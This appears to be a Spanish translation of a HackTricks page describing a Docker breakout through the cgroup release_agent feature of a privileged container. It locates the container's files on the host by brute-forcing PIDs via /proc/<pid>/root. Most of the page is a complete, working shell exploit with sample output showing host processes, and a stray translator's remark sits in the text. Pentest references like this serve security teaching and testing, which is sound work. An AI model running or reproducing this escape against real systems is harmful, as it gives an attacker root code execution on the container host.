hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md
carlospolop 466ebcbb16 f
2023-06-05 20:30:03 +02:00

9.9 KiB

Introducción

Los PoC anteriores funcionan bien cuando el contenedor está configurado con un controlador de almacenamiento que expone la ruta completa del punto de montaje del sistema de archivos del host, por ejemplo overlayfs, sin embargo, hay configuraciones que no revelan claramente el punto de montaje del sistema de archivos del host.

En este PoC, en lugar de usar la ruta donde se encuentra el contenedor dentro del sistema de archivos del host, vamos a descubrir un PID de contenedor dentro del host.

Ejemplos de contenedores que no exponen la ubicación de la ruta dentro del host

Kata Containers

root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)

Por defecto, Kata Containers monta el sistema de archivos raíz de un contenedor sobre 9pfs. Esto no revela información sobre la ubicación del sistema de archivos del contenedor en la Máquina Virtual de Kata Containers.

Device Mapper

root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0

Vi un contenedor con este montaje raíz en un entorno en vivo, creo que el contenedor se estaba ejecutando con una configuración específica del controlador de almacenamiento devicemapper, pero hasta ahora no he podido replicar este comportamiento en un entorno de prueba.

PoC

La única información clave requerida es la ruta completa, relativa al host del contenedor, de un archivo para ejecutar dentro del contenedor. Sin poder discernir esto desde los puntos de montaje dentro del contenedor, debemos buscar en otro lugar.

/proc/<pid>/root

El pseudo-sistema de archivos /proc de Linux expone las estructuras de datos del proceso del kernel para todos los procesos que se ejecutan en un sistema, incluidos aquellos que se ejecutan en diferentes espacios de nombres, por ejemplo, dentro de un contenedor. Esto se puede mostrar ejecutando un comando en un contenedor y accediendo al directorio /proc del proceso en el host: contenedor.

root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root     28936 28909  0 10:11 pts/0    00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x   9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov  9 15:41 ..
dr-xr-xr-x   2 root root 0 Nov 19 10:04 attr
-rw-r--r--   1 root root 0 Nov 19 10:04 autogroup
-r--------   1 root root 0 Nov 19 10:04 auxv
-r--r--r--   1 root root 0 Nov 19 10:03 cgroup
--w-------   1 root root 0 Nov 19 10:04 clear_refs
-r--r--r--   1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r--   1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx   1 root root 0 Nov 19 10:29 root -> /
-rw-r--r--   1 root root 0 Nov 19 10:29 sched
...

Como un comentario aparte, la estructura de datos /proc/<pid>/root es una que me confundió por mucho tiempo, nunca pude entender por qué tener un enlace simbólico a / era útil, hasta que leí la definición real en las páginas del manual:

/proc/[pid]/root

UNIX y Linux soportan la idea de un root del sistema de archivos por proceso, establecido por la llamada al sistema chroot(2). Este archivo es un enlace simbólico que apunta al directorio raíz del proceso, y se comporta de la misma manera que exe y fd/*.

Sin embargo, tenga en cuenta que este archivo no es simplemente un enlace simbólico. Proporciona la misma vista del sistema de archivos (incluyendo los espacios de nombres y el conjunto de montajes por proceso) que el propio proceso.

El enlace simbólico /proc/<pid>/root se puede utilizar como una ruta relativa del host a cualquier archivo dentro de un contenedor:

root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme

{% hint style="warning" %} Esto cambia el requisito para el ataque de conocer la ruta completa, relativa al host del contenedor, de un archivo dentro del contenedor, a conocer el pid de cualquier proceso que se ejecute en el contenedor. {% endhint %}

Búsqueda de Pid

Esto es en realidad la parte fácil, los ids de proceso en Linux son numéricos y asignados secuencialmente. El proceso init se le asigna el pid 1 y todos los procesos posteriores se les asignan ids incrementales. Para identificar el pid del proceso host de un proceso dentro de un contenedor, se puede utilizar una búsqueda incremental de fuerza bruta:

root@container:~$ echo findme > /findme
root@container:~$ sleep 100

No se debe traducir el término "Host" ya que es un término técnico que se utiliza en español tal cual.

root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme

Poniéndolo Todo Junto

Para completar este ataque, se puede utilizar la técnica de fuerza bruta para adivinar el PID para la ruta /proc/<pid>/root/payload.sh, con cada iteración escribiendo la ruta de PID adivinada en el archivo release_agent de los cgroups, activando el release_agent, y viendo si se crea un archivo de salida.

La única advertencia con esta técnica es que no es sutil de ninguna manera, y puede aumentar mucho el recuento de PID. Como no se mantienen procesos de larga duración en ejecución, esto no debería causar problemas de confiabilidad, pero no me cites en eso.

El siguiente PoC implementa estas técnicas para proporcionar un ataque más genérico que el presentado por primera vez en el PoC original de Felix para escapar de un contenedor privilegiado utilizando la funcionalidad del archivo release_agent de los cgroups:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # Set the release_agent path to the guessed pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # Trigger execution of the release_agent
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Ejecutar el PoC dentro de un contenedor privilegiado debería proporcionar una salida similar a:

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥